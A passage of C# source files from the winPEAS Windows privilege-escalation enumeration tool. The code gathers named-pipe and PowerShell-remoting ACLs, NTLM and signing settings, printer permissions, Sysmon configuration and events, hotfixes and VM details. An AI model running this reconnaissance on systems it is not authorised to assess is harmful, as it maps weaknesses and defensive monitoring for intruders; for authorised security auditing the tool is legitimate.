IReadOnlyCollection<NamedPipePrincipalAccess> LowPrivilegeAces => _principalAccess.Values;\n        public IReadOnlyCollection<NamedPipeProcessInfo> Processes => _processes.Values;\n        public bool HasPrivilegedServer => _processes.Values.Any(process => process.IsHighPrivilege);\n\n        public void AddLowPrivPrincipal(string principal, string sid, IEnumerable<string> rights)\n        {\n            if (string.IsNullOrEmpty(sid))\n                return;\n\n            if (!_principalAccess.TryGetValue(sid, out var access))\n            {\n                access = new NamedPipePrincipalAccess(principal, sid);\n                _principalAccess[sid] = access;\n            }\n\n            access.AddRights(rights);\n        }\n\n        public void AddProcess(NamedPipeProcessInfo process)\n        {\n            if (process == null)\n                return;\n\n            if (!_processes.ContainsKey(process.Pid))\n            {\n                _processes[process.Pid] = process;\n            }\n        }\n    }\n\n    internal class NamedPipePrincipalAccess\n    {\n        private readonly HashSet<string> _rights = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n\n        public NamedPipePrincipalAccess(string principal, string sid)\n        {\n            Principal = principal;\n            Sid = sid;\n        }\n\n        public string Principal { get; }\n        public string Sid { get; }\n        public string RightsDescription => _rights.Count == 0 ? string.Empty : string.Join(\"|\", _rights.OrderBy(r => r));\n        public IEnumerable<string> Rights => _rights;\n\n        public void AddRights(IEnumerable<string> rights)\n        {\n            if (rights == null)\n                return;\n\n            foreach (var right in rights)\n            {\n                if (!string.IsNullOrWhiteSpace(right))\n                {\n                    _rights.Add(right.Trim());\n                }\n            }\n        }\n    }\n\n    internal class NamedPipeProcessInfo\n    {\n        public NamedPipeProcessInfo(int pid, string processName, string userName, string userSid, bool isHighPrivilege)\n        {\n            Pid = pid;\n            ProcessName = processName;\n            UserName = userName;\n            UserSid = userSid;\n            IsHighPrivilege = isHighPrivilege;\n        }\n\n        public int Pid { get; }\n        public string ProcessName { get; }\n        public string UserName { get; }\n        public string UserSid { get; }\n        public bool IsHighPrivilege { get; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/NamedPipes/NamedPipes.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security.AccessControl;\nusing winPEAS.Native;\n\n\nnamespace winPEAS.Info.SystemInfo.NamedPipes\n{\n    internal class NamedPipes\n    {\n        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]\n        public struct WIN32_FIND_DATA\n        {\n            public uint dwFileAttributes;\n            public System.Runtime.InteropServices.ComTypes.FILETIME ftCreationTime;\n            public System.Runtime.InteropServices.ComTypes.FILETIME ftLastAccessTime;\n            public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWriteTime;\n            public uint nFileSizeHigh;\n            public uint nFileSizeLow;\n            public uint dwReserved0;\n            public uint dwReserved1;\n            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]\n            public string cFileName;\n            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 14)]\n            public string cAlternateFileName;\n        }\n\n        public static IEnumerable<NamedPipeInfo> GetNamedPipeInfos()\n        {\n            var namedPipes = new List<string>();\n\n            var ptr = Kernel32.FindFirstFile(@\"\\\\.\\pipe\\*\", out var lpFindFileData);\n            namedPipes.Add(lpFindFileData.cFileName);\n            while (Kernel32.FindNextFile(ptr, out lpFindFileData))\n            {\n                namedPipes.Add(lpFindFileData.cFileName);\n            }\n            Kernel32.FindClose(ptr);\n\n            namedPipes.Sort();\n\n            foreach (var namedPipe in namedPipes)\n            {\n                string sddl;\n                string currentUserPerms;\n                bool isError = false;\n\n                try\n                {\n                    var security = File.GetAccessControl($\"\\\\\\\\.\\\\pipe\\\\{namedPipe}\");\n                    sddl = security.GetSecurityDescriptorSddlForm(AccessControlSections.All);\n                    List<string> currentUserPermsList = Helpers.PermissionsHelper.GetMyPermissionsF(security, Checks.Checks.CurrentUserSiDs);\n                    currentUserPerms = string.Join(\", \", currentUserPermsList);\n                }\n                catch\n                {\n                    isError = true;\n                    sddl = \"ERROR\";\n                    currentUserPerms = \"ERROR\";\n                }\n\n                if (!isError && !string.IsNullOrEmpty(sddl))\n                {\n                    yield return new NamedPipeInfo(namedPipe, sddl, currentUserPerms);\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/Ntlm/Ntlm.cs",
    "content": "﻿using winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.SystemInfo.Ntlm\n{\n    internal class Ntlm\n    {\n        public static NtlmSettingsInfo GetNtlmSettingsInfo()\n        {\n            return new NtlmSettingsInfo\n            {\n                LanmanCompatibilityLevel = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Control\\Lsa\", \"LmCompatibilityLevel\"),\n\n                ClientRequireSigning = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters\", \"RequireSecuritySignature\") == 1,\n                ClientNegotiateSigning = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters\", \"EnableSecuritySignature\") == 1,\n                ServerRequireSigning = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\LanManServer\\Parameters\", \"RequireSecuritySignature\") == 1,\n                ServerNegotiateSigning = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\LanManServer\\Parameters\", \"EnableSecuritySignature\") == 1,\n\n\n                LdapSigning = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\LDAP\", \"LDAPClientIntegrity\"),\n\n                NTLMMinClientSec = RegistryHelper.GetDwordValue(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\", \"NtlmMinClientSec\"),\n                NTLMMinServerSec = RegistryHelper.GetDwordValue(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\", \"NtlmMinServerSec\"),\n\n\n                InboundRestrictions = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Control\\Lsa\\MSV1_0\", \"RestrictReceivingNTLMTraffic\"), // Network security: Restrict NTLM: Incoming NTLM traffic\n                OutboundRestrictions = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Control\\Lsa\\MSV1_0\", \"RestrictSendingNTLMTraffic\"),  // Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers\n                InboundAuditing = RegistryHelper.GetDwordValue(\"HKLM\", @\"System\\CurrentControlSet\\Control\\Lsa\\MSV1_0\", \"AuditReceivingNTLMTraffic\"),        // Network security: Restrict NTLM: Audit Incoming NTLM Traffic\n                OutboundExceptions = RegistryHelper.GetRegValue(\"HKLM\", @\"System\\CurrentControlSet\\Control\\Lsa\\MSV1_0\", \"ClientAllowedNTLMServers\"),      // Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication\n\n                //DCRestrictions = RegistryUtil.GetValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\Netlogon\\Parameters\", \"RestrictNTLMInDomain\"),    // Network security: Restrict NTLM:  NTLM authentication in this domain\n                //DCExceptions = RegistryUtil.GetValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\Netlogon\\Parameters\", \"DCAllowedNTLMServers\"),      // Network security: Restrict NTLM: Add server exceptions in this domain\n                //DCAuditing = RegistryUtil.GetValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\Netlogon\\Parameters\", \"AuditNTLMInDomain\"),           // Network security: Restrict NTLM: Audit NTLM authentication in this domain\n                //DCLdapSigning = RegistryUtil.GetValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\NTDS\\Parameters\", \"LDAPServerIntegrity\"),\n                //LdapChannelBinding = RegistryUtil.GetValue(\"HKLM\", @\"System\\CurrentControlSet\\Services\\NTDS\\Parameters\", \"LdapEnforceChannelBinding\"),\n                //ExtendedProtectionForAuthentication = RegistryUtil.GetValue(\"HKLM\", @\"System\\CurrentControlSet\\Control\\LSA\", \"SuppressExtendedProtection\"),\n            };\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/Ntlm/NtlmSettingsInfo.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.Ntlm\n{\n    internal class NtlmSettingsInfo\n    {\n        public uint? LanmanCompatibilityLevel { get; set; }\n\n        public string LanmanCompatibilityLevelString\n        {\n            get\n            {\n                switch (LanmanCompatibilityLevel)\n                {\n                    case 0: return \"Send LM & NTLM responses\";\n                    case 1: return \"Send LM & NTLM - Use NTLMv2 session security if negotiated\";\n                    case 2: return \"Send NTLM response only\";\n                    case null:\n                    case 3: return \"Send NTLMv2 response only - Win7+ default\";\n                    case 4: return \"Send NTLMv2 response only. DC: Refuse LM\";\n                    case 5: return \"Send NTLMv2 response only. DC: Refuse LM & NTLM\";\n                    default: return \"Unknown\";\n                }\n            }\n        }\n\n        public bool ClientRequireSigning { get; set; }\n        public bool ClientNegotiateSigning { get; set; }\n        public bool ServerRequireSigning { get; set; }\n        public bool ServerNegotiateSigning { get; set; }\n        public uint? LdapSigning { get; set; }\n\n        public string LdapSigningString\n        {\n            get\n            {\n                switch (LdapSigning)\n                {\n                    case 0: return \"No signing\";\n                    case 1:\n                    case null: return \"Negotiate signing\";\n                    case 2: return \"Require Signing\";\n                    default: return \"Unknown\";\n                }\n            }\n        }\n\n        public uint? NTLMMinClientSec { get; set; }\n        public uint? NTLMMinServerSec { get; set; }\n        public uint? InboundRestrictions { get; internal set; }\n\n        public string InboundRestrictionsString\n        {\n            get\n            {\n                string inboundRestrictStr = InboundRestrictions switch\n                {\n                    0 => \"Allow all\",\n                    1 => \"Deny all domain accounts\",\n                    2 => \"Deny all accounts\",\n                    _ => \"Not defined\",\n                };\n\n                return inboundRestrictStr;\n            }\n        }\n\n        public uint? OutboundRestrictions { get; internal set; }\n\n        public string OutboundRestrictionsString\n        {\n            get\n            {\n                string outboundRestrictStr = OutboundRestrictions switch\n                {\n                    0 => \"Allow all\",\n                    1 => \"Audit all\",\n                    2 => \"Deny all\",\n                    _ => \"Not defined\",\n                };\n\n                return outboundRestrictStr;\n            }\n        }\n\n        public uint? InboundAuditing { get; internal set; }\n\n        public string InboundAuditingString\n        {\n            get\n            {\n                string inboundAuditStr = InboundAuditing switch\n                {\n                    0 => \"Disable\",\n                    1 => \"Enable auditing for domain accounts\",\n                    2 => \"Enable auditing for all accounts\",\n                    _ => \"Not defined\",\n                };\n                return inboundAuditStr;\n            }\n        }\n\n        public string OutboundExceptions { get; internal set; }\n\n        //public string DCRestrictions { get; internal set; }\n        //public string DCExceptions { get; internal set; }\n        //public string DCAuditing { get; internal set; }\n        //public string LdapChannelBinding { get; set; }\n        //public string ExtendedProtectionForAuthentication { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/PowerShell/PluginAccessInfo.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.PowerShell\n{\n    internal class PluginAccessInfo\n    {\n        public string Principal { get; }\n        public string Sid { get; }\n        public string Permission { get; }\n\n        public PluginAccessInfo(\n            string principal,\n            string sid,\n            string permission)\n        {\n            Principal = principal;\n            Sid = sid;\n            Permission = permission;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/PowerShell/PowerShell.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Security.AccessControl;\nusing System.Xml;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.SystemInfo.PowerShell\n{\n    internal class PowerShell\n    {\n        public static IEnumerable<PowerShellSessionSettingsInfo> GetPowerShellSessionSettingsInfos()\n        {\n            var plugins = new[] { \"Microsoft.PowerShell\", \"Microsoft.PowerShell.Workflow\", \"Microsoft.PowerShell32\" };\n\n            foreach (var plugin in plugins)\n            {\n                var config = RegistryHelper.GetRegValue(\"HKLM\", $\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\WSMAN\\\\Plugin\\\\{plugin}\", \"ConfigXML\");\n\n                if (config == null) continue;\n\n                var access = new List<PluginAccessInfo>();\n\n                var xmlDoc = new XmlDocument();\n                xmlDoc.LoadXml(config);\n                var security = xmlDoc.GetElementsByTagName(\"Security\");\n\n                if (security.Count <= 0)\n                    continue;\n\n                foreach (XmlAttribute attr in security[0].Attributes)\n                {\n                    if (attr.Name != \"Sddl\")\n                    {\n                        continue;\n                    }\n\n                    var desc = new RawSecurityDescriptor(attr.Value);\n                    foreach (QualifiedAce ace in desc.DiscretionaryAcl)\n                    {\n                        var principal = ace.SecurityIdentifier.Translate(typeof(System.Security.Principal.NTAccount)).ToString();\n                        var accessStr = ace.AceQualifier.ToString();\n\n                        access.Add(new PluginAccessInfo(\n                            principal,\n                            ace.SecurityIdentifier.ToString(),\n                            accessStr\n                        ));\n                    }\n                }\n\n                yield return new PowerShellSessionSettingsInfo(plugin, access);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/PowerShell/PowerShellSessionSettingsInfo.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.SystemInfo.PowerShell\n{\n    internal class PowerShellSessionSettingsInfo\n    {\n        public string Plugin { get; }\n        public List<PluginAccessInfo> Permissions { get; }\n\n        public PowerShellSessionSettingsInfo(string plugin, List<PluginAccessInfo> permissions)\n        {\n            Plugin = plugin;\n            Permissions = permissions;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/Printers/PrinterInfo.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.Printers\n{\n    public class PrinterInfo\n    {\n        public string Name { get; }\n        public string Status { get; }\n        public string Sddl { get; }\n        public bool IsDefault { get; }\n        public bool IsNetworkPrinter { get; }\n\n        public PrinterInfo(string name, string status, string sddl, bool isDefault, bool isNetworkPrinter)\n        {\n            Name = name;\n            Status = status;\n            Sddl = sddl;\n            IsDefault = isDefault;\n            IsNetworkPrinter = isNetworkPrinter;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/Printers/Printers.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Management;\nusing System.Runtime.InteropServices;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Info.SystemInfo.Printers\n{\n    internal class Printers\n    {\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SECURITY_INFOS\n        {\n            public string Owner;\n            public RawSecurityDescriptor SecurityDescriptor;\n            public string SDDL;\n        }\n\n        public static IEnumerable<PrinterInfo> GetPrinterWMIInfos()\n        {\n            var result = new List<PrinterInfo>();\n\n            using (var printerQuery = new ManagementObjectSearcher(\"SELECT * from Win32_Printer\"))\n            {\n                try\n                {\n                    foreach (var printer in printerQuery.Get())\n                    {\n                        var isDefault = (bool)printer.GetPropertyValue(\"Default\");\n                        var isNetworkPrinter = (bool)printer.GetPropertyValue(\"Network\");\n                        string printerSddl = null;\n                        var printerName = $\"{printer.GetPropertyValue(\"Name\")}\";\n                        var status = $\"{printer.GetPropertyValue(\"Status\")}\";\n\n                        try\n                        {\n                            var info = GetSecurityInfos(printerName, SE_OBJECT_TYPE.SE_PRINTER);\n                            printerSddl = info.SDDL;\n                        }\n                        catch { }\n\n                        result.Add(new PrinterInfo(\n                            printerName,\n                            status,\n                            printerSddl,\n                            isDefault,\n                            isNetworkPrinter\n                        ));\n                    }\n                }\n                catch (Exception)\n                {\n                }\n            }\n\n            return result;\n        }\n\n        private static SECURITY_INFOS GetSecurityInfos(string ObjectName, SE_OBJECT_TYPE ObjectType)\n        {\n            var pSidOwner = IntPtr.Zero;\n            var pSidGroup = IntPtr.Zero;\n            var pDacl = IntPtr.Zero;\n            var pSacl = IntPtr.Zero;\n            var pSecurityDescriptor = IntPtr.Zero;\n            var info = SecurityInfos.DiscretionaryAcl | SecurityInfos.Owner;\n\n            var infos = new SECURITY_INFOS();\n\n            // get the security infos\n            var errorReturn = Advapi32.GetNamedSecurityInfo(ObjectName, ObjectType, info, out pSidOwner, out pSidGroup, out pDacl, out pSacl, out pSecurityDescriptor);\n            if (errorReturn != 0)\n            {\n                return infos;\n            }\n\n            if (Advapi32.ConvertSecurityDescriptorToStringSecurityDescriptor(pSecurityDescriptor, 1, SecurityInfos.DiscretionaryAcl | SecurityInfos.Owner, out var pSddlString, out _))\n            {\n                infos.SDDL = Marshal.PtrToStringUni(pSddlString) ?? string.Empty;\n            }\n            var ownerSid = new SecurityIdentifier(pSidOwner);\n            infos.Owner = ownerSid.Value;\n\n            if (pSddlString != IntPtr.Zero)\n            {\n                Marshal.FreeHGlobal(pSddlString);\n            }\n\n            if (pSecurityDescriptor != IntPtr.Zero)\n            {\n                Marshal.FreeHGlobal(pSecurityDescriptor);\n            }\n\n            return infos;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SysMon/SysMon.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.Eventing.Reader;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.Info.SystemInfo.SysMon\n{\n    static class SysMon\n    {\n        public const string NotDefined = \"Not Defined\";\n\n        public static IEnumerable<SysmonInfo> GetSysMonInfos()\n        {\n            var paramsKey = @\"SYSTEM\\CurrentControlSet\\Services\\SysmonDrv\\Parameters\";\n            uint? regHashAlg = GetUintNullableFromString(RegistryHelper.GetRegValue(\"HKLM\", paramsKey, \"HashingAlgorithm\"));\n            uint? regOptions = GetUintNullableFromString(RegistryHelper.GetRegValue(\"HKLM\", paramsKey, \"Options\"));\n            byte[] regSysmonRules = GetBinaryValueFromRegistry(Registry.LocalMachine, paramsKey, \"Rules\");\n            var installed = false;\n            var hashingAlgorithm = (SysmonHashAlgorithm)0;\n            var sysmonOptions = (SysmonOptions)0;\n            string b64SysmonRules = null;\n\n            if ((regHashAlg != null) || (regOptions != null) || (regSysmonRules != null))\n            {\n                installed = true;\n            }\n\n            if (regHashAlg != null && regHashAlg != 0)\n            {\n                regHashAlg = regHashAlg & 15; // we only care about the last 4 bits\n                hashingAlgorithm = (SysmonHashAlgorithm)regHashAlg;\n            }\n\n            if (regOptions != null)\n            {\n                sysmonOptions = (SysmonOptions)regOptions;\n            }\n\n            if (regSysmonRules != null)\n            {\n                b64SysmonRules = Convert.ToBase64String(regSysmonRules);\n            }\n\n            yield return new SysmonInfo(\n                installed,\n                hashingAlgorithm,\n                sysmonOptions,\n                b64SysmonRules\n            );\n        }\n\n        public static IEnumerable<SysmonEventInfo> GetSysMonEventInfos()\n        {\n            var query = \"*[System/EventID=1]\";\n            EventLogReader logReader;\n            try\n            {\n                var computerName = Environment.GetEnvironmentVariable(\"COMPUTERNAME\");\n                logReader = MyUtils.GetEventLogReader(\"Microsoft-Windows-Sysmon/Operational\", query, computerName);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.NoColorPrint(\"      Unable to query Sysmon event logs, Sysmon likely not installed.\");\n                yield break;\n            }\n\n            var i = 0;\n\n            for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())\n            {\n                ++i;\n                var commandLine = eventDetail.Properties[10].Value.ToString().Trim();\n                if (commandLine != \"\")\n                {\n                    var userName = eventDetail.Properties[12].Value.ToString().Trim();\n                    yield return new SysmonEventInfo\n                    {\n                        TimeCreated = eventDetail.TimeCreated,\n                        EventID = eventDetail.Id,\n                        UserName = userName,\n                        Match = commandLine\n                    };\n                }\n            }\n        }\n\n        private static byte[] GetBinaryValueFromRegistry(RegistryKey registryKey, string paramsKey, string val)\n        {\n            try\n            {\n                var key = registryKey.OpenSubKey(paramsKey);\n\n                if (key == null)\n                {\n                    return null;\n                }\n\n                byte[] result = (byte[])key.GetValue(val);\n\n                return result;\n            }\n            catch (Exception)\n            {\n                return null;\n            }\n        }\n\n        private static uint? GetUintNullableFromString(string str)\n        {\n            uint? result = null;\n            if (uint.TryParse(str, out uint val))\n            {\n                result = val;\n            }\n\n            return result;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SysMon/SysmonEventInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.SystemInfo.SysMon\n{\n    internal class SysmonEventInfo\n    {\n        public DateTime? TimeCreated { get; set; }\n        public int EventID { get; set; }\n        public string UserName { get; set; }\n        public string Match { get; set; }\n\n        public SysmonEventInfo()\n        {\n        }\n\n        public SysmonEventInfo(DateTime? timeCreated, int eventID, string userName, string match)\n        {\n            this.TimeCreated = timeCreated;\n            this.EventID = eventID;\n            this.UserName = userName;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SysMon/SysmonHashAlgorithm.cs",
    "content": "﻿using System;\nusing System.ComponentModel;\n\nnamespace winPEAS.Info.SystemInfo.SysMon\n{\n    // hashing algorithm reference from @mattifestation's SysmonRuleParser.ps1\n    //  ref - https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1#L589-L595\n    [Flags]\n    public enum SysmonHashAlgorithm\n    {\n        [Description(SysMon.NotDefined)]\n        NotDefined = 0,\n\n        SHA1 = 1,\n        MD5 = 2,\n        SHA256 = 4,\n    }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SysMon/SysmonInfo.cs",
    "content": "﻿namespace winPEAS.Info.SystemInfo.SysMon\n{\n    internal class SysmonInfo\n    {\n        public bool Installed { get; }\n        public SysmonHashAlgorithm HashingAlgorithm { get; }\n        public SysmonOptions Options { get; }\n        public string Rules { get; }\n\n        public SysmonInfo(bool installed, SysmonHashAlgorithm hashingAlgorithm, SysmonOptions options, string rules)\n        {\n            Installed = installed;\n            HashingAlgorithm = hashingAlgorithm;\n            Options = options;\n            Rules = rules;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SysMon/SysmonOptions.cs",
    "content": "﻿using System;\nusing System.ComponentModel;\n\nnamespace winPEAS.Info.SystemInfo.SysMon\n{\n    [Flags]\n    public enum SysmonOptions\n    {\n        [Description(\"Not Defined\")]\n        NotDefined = 0,\n\n        [Description(\"Network Connection\")]\n        NetworkConnection = 1,\n\n        [Description(\"Image Loading\")]\n        ImageLoading = 2\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/SystemInfo/SystemInfo.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\nusing System.Collections.Generic;\nusing System.Globalization;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing System.Net;\nusing System.Net.NetworkInformation;\nusing System.Windows.Forms;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\n\nnamespace winPEAS.Info.SystemInfo\n{\n    class SystemInfo\n    {\n        // From Seatbelt\n        public static bool IsVirtualMachine()\n        {\n            // returns true if the system is likely a virtual machine\n            // Adapted from RobSiklos' code from https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280\n            try\n            {\n                using (var searcher = new System.Management.ManagementObjectSearcher(\"Select * from Win32_ComputerSystem\"))\n                {\n                    using (var items = searcher.Get())\n                    {\n                        foreach (var item in items)\n                        {\n                            string manufacturer = item[\"Manufacturer\"].ToString().ToLower();\n                            if ((manufacturer == \"microsoft corporation\" && item[\"Model\"].ToString().ToUpperInvariant().Contains(\"VIRTUAL\"))\n                                || manufacturer.Contains(\"vmware\")\n                                || item[\"Model\"].ToString() == \"VirtualBox\")\n                            {\n                                return true;\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return false;\n        }\n        \n        //From Seatbelt\n        public static Dictionary<string, string> GetBasicOSInfo()\n        {\n            Dictionary<string, string> results = new Dictionary<string, string>();\n            \n            Process process = new Process();\n\n            // Configure the process to run the systeminfo command\n            process.StartInfo.FileName = \"systeminfo.exe\";\n            process.StartInfo.UseShellExecute = false;\n            process.StartInfo.RedirectStandardOutput = true;\n\n            // Start the process\n            process.Start();\n\n            // Read the output of the command\n            string output = process.StandardOutput.ReadToEnd();\n\n            // Wait for the command to finish\n            process.WaitForExit();\n\n\n            // Split the output by newline characters\n            string[] lines = output.Split(new[] { '\\n' }, StringSplitOptions.RemoveEmptyEntries);\n            \n            string osname = @\".*?Microsoft[\\(R\\)]{0,3} Windows[\\(R\\)?]{0,3} ?(Serverr? )?(\\d+\\.?\\d?( R2)?|XP|VistaT).*\";\n            string osversion = @\".*?((\\d+\\.?){3}) ((Service Pack (\\d)|N\\/\\w|.+) )?[ -\\xa5]+ (\\d+).*\";\n            // Iterate over each line and add key-value pairs to the dictionary\n            foreach (string line in lines)\n            {\n                int index = line.IndexOf(':');\n                if (index != -1)\n                {\n                    string key = line.Substring(0, index).Trim();\n                    string value = line.Substring(index + 1).Trim();\n                    if (Regex.IsMatch(value, osname, RegexOptions.IgnoreCase))\n                    {\n                        results[\"OS Name\"] = value;\n                    }\n\n                    if (Regex.IsMatch(value, osversion, RegexOptions.IgnoreCase))\n                    {\n                        results[\"OS Version\"] = value;\n                    }\n\n                    if (value.Contains(\"based PC\")) \n                    {\n                        results[\"System Type\"] = value;\n                    }\n                    \n                }\n            }\n\n            try\n            {\n                string ProductName = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\", \"ProductName\");\n                string EditionID = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\", \"EditionID\");\n                string ReleaseId = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\", \"ReleaseId\");\n                string BuildBranch = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\", \"BuildBranch\");\n                string CurrentMajorVersionNumber = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\", \"CurrentMajorVersionNumber\");\n                string CurrentVersion = RegistryHelper.GetRegValue(\"HKLM\", \"Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\", \"CurrentVersion\");\n\n                bool isHighIntegrity = MyUtils.IsHighIntegrity();\n\n                CultureInfo ci = CultureInfo.InstalledUICulture;\n                string systemLang = ci.Name;\n                var timeZone = TimeZoneInfo.Local;\n                InputLanguage myCurrentLanguage = InputLanguage.CurrentInputLanguage;\n\n                string arch = Environment.GetEnvironmentVariable(\"PROCESSOR_ARCHITECTURE\");\n                string userName = Environment.GetEnvironmentVariable(\"USERNAME\");\n                string ProcessorCount = Environment.ProcessorCount.ToString();\n                bool isVM = IsVirtualMachine();\n\n                DateTime now = DateTime.Now;\n\n                String strHostName = Dns.GetHostName();\n                IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties();\n                string dnsDomain = properties.DomainName;\n\n                const string query = \"SELECT HotFixID,InstalledOn FROM Win32_QuickFixEngineering\";\n\n                using (var search = new ManagementObjectSearcher(query))\n                {\n                    using (var collection = search.Get())\n                    {\n                        string hotfixes = \"\";\n                        foreach (ManagementObject quickFix in collection)\n                        {\n                            hotfixes += quickFix[\"HotFixID\"] + \" (\" + quickFix[\"InstalledOn\"] + \"), \";\n                        }\n\n                        results.Add(\"Hostname\", strHostName);\n                        if (dnsDomain.Length > 1)\n                        {\n                            results.Add(\"Domain Name\", dnsDomain);\n                        }\n                        results.Add(\"ProductName\", ProductName);\n                        results.Add(\"EditionID\", EditionID);\n                        results.Add(\"ReleaseId\", ReleaseId);\n                        results.Add(\"BuildBranch\", BuildBranch);\n                        results.Add(\"CurrentMajorVersionNumber\", CurrentMajorVersionNumber);\n                        results.Add(\"CurrentVersion\", CurrentVersion);\n                        results.Add(\"Architecture\", arch);\n                        results.Add(\"ProcessorCount\", ProcessorCount);\n                        results.Add(\"SystemLang\", systemLang);\n                        results.Add(\"KeyboardLang\", myCurrentLanguage.Culture.EnglishName);\n                        results.Add(\"TimeZone\", timeZone.DisplayName);\n                        results.Add(\"IsVirtualMachine\", isVM.ToString());\n                        results.Add(\"Current Time\", now.ToString());\n                        results.Add(\"HighIntegrity\", isHighIntegrity.ToString());\n                        results.Add(\"PartOfDomain\", Checks.Checks.IsPartOfDomain.ToString());\n                        results.Add(\"Hotfixes\", hotfixes);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> GetDrivesInfo()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>> { };\n            DriveInfo[] allDrives = DriveInfo.GetDrives();\n\n            try\n            {\n                foreach (DriveInfo d in allDrives)\n                {\n                    Dictionary<string, string> res = new Dictionary<string, string>{\n                    { \"Name\", \"\" },\n                    { \"Type\", \"\" },\n                    { \"Volume label\", \"\" },\n                    { \"Filesystem\", \"\" },\n                    { \"Available space\", \"\"}\n                };\n\n                    res[\"Name\"] = d.Name;\n                    res[\"Type\"] = d.DriveType.ToString();\n                    if (d.IsReady)\n                    {\n                        res[\"Volume label\"] = d.VolumeLabel;\n                        res[\"Filesystem\"] = d.DriveFormat;\n                        res[\"Available space\"] = d.TotalFreeSpace.ToString();\n                    }\n                    